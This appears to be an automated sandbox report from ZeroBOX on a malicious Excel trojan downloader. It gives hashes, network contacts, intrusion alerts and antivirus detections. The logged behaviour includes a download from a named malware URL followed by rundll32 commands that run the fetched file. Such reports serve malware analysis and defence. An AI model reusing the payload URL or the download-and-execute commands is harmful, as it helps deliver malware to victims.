Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	May 18, 2021, 9:49 a.m.	May 18, 2021, 9:55 a.m.

Size	380.5KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: Operator, Last Saved By: vi-vi, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Mon May 17 08:33:52 2021, Security: 0
MD5	`a8f34f2a8de7b470c474c50c8cd4b15f`
SHA256	`1831918f2843b8776185be0dce38810c96476e052cc88509b801a4a3a9f3417f`
CRC32	`BB2499CA`
ssdeep	`6144:IcPiNQApW/89bK103eGvgZqr3h8GB3ckt6Uqa5DPdG9uS9QLn4z8yOj:ut6Uqa5DPdG9uS9QLn4z8j`
Yara	Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\diagram-58650286.xls
8992
- rundll32.exe rundll32 ..\bubl.cmi,DllRegisterServer
  6568
- rundll32.exe rundll32 ..\bubl.cmi1,DllRegisterServer
  8264

Name	Response	Post-Analysis Lookup
hermescomm.net	A 162.241.27.24	162.241.27.24

IP Address	Status	Action
172.67.200.215	Active	Moloch
162.241.27.24	Active	Moloch
164.124.101.2	Active	Moloch
172.217.25.14	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 162.241.27.24:443 -> 192.168.56.102:49820	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49819 -> 162.241.27.24:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49815 -> 162.241.27.24:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49814 -> 162.241.27.24:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 162.241.27.24:443 -> 192.168.56.102:49816	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49818 -> 162.241.27.24:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 18, 2021, 9:47 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ May 18, 2021, 9:47 a.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25 rundll32+0x135c @ 0x2b135c rundll32+0x1901 @ 0x2b1901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x76713ef4 registers.esp: 1308692 registers.edi: 0 registers.eax: 42174848 registers.ebp: 1308720 registers.edx: 1 registers.ebx: 0 registers.esi: 3198568 registers.ecx: 1915696604	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

May 18, 2021, 9:47 a.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25
rundll32+0x135c @ 0x2b135c
rundll32+0x1901 @ 0x2b1901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x76713ef4
registers.esp: 1308692
registers.edi: 0
registers.eax: 42174848
registers.ebp: 1308720
registers.edx: 1
registers.ebx: 0
registers.esi: 3198568
registers.ecx: 1915696604

Allocates read-write-execute memory (usually to unpack itself) (20 events)

Time & API	Arguments	Status
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70af1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70731000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70731000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fb61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75241000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73321000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e5e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x726d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73711000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06ad0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 8992 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06ae0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Communicates with host for which no DNS query was performed (2 events)

host	172.67.200.215
host	172.217.25.14

File has been identified by 15 AntiVirus engines on VirusTotal as malicious (15 events)

MicroWorld-eScan	Trojan.DOC.Agent.AVP
FireEye	Trojan.DOC.Agent.AVP
K7AntiVirus	Trojan ( 0057936c1 )
K7GW	Trojan ( 0057936c1 )
ESET-NOD32	a variant of VBA/TrojanDownloader.Agent.WCO
Kaspersky	HEUR:Trojan.MSOffice.Generic
AegisLab	Trojan.MSOffice.Generic.4!c
Ad-Aware	Trojan.DOC.Agent.AVP
Emsisoft	Trojan.DOC.Agent.AVP (B)
McAfee-GW-Edition	Artemis
Ikarus	Trojan-Dropper.Excel.Agent
Microsoft	TrojanDownloader:O97M/EncDoc.AST!MTB
ZoneAlarm	HEUR:Trojan.Script.Generic
MAX	malware (ai score=84)
Fortinet	XF/Nastya.E86D!tr.dldr

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW May 18, 2021, 9:47 a.m.	url: https://hermescomm.net/x9NvrhL0/lena.html stack_pivoted: 0 filepath_r: ..\bubl.cmi filepath: C:\Users\test22\bubl.cmi		2148270085	0
URLDownloadToFileW May 18, 2021, 9:47 a.m.	url: https://hermescomm.net/x9NvrhL0/lena.html stack_pivoted: 0 filepath_r: ..\bubl.cmi1 filepath: C:\Users\test22\bubl.cmi1		2148270085	0

One or more non-whitelisted processes were created (2 events)

parent_process	excel.exe				martian_process	rundll32 ..\bubl.cmi1,DllRegisterServer
parent_process	excel.exe				martian_process	rundll32 ..\bubl.cmi,DllRegisterServer

diagram-58650286.xls

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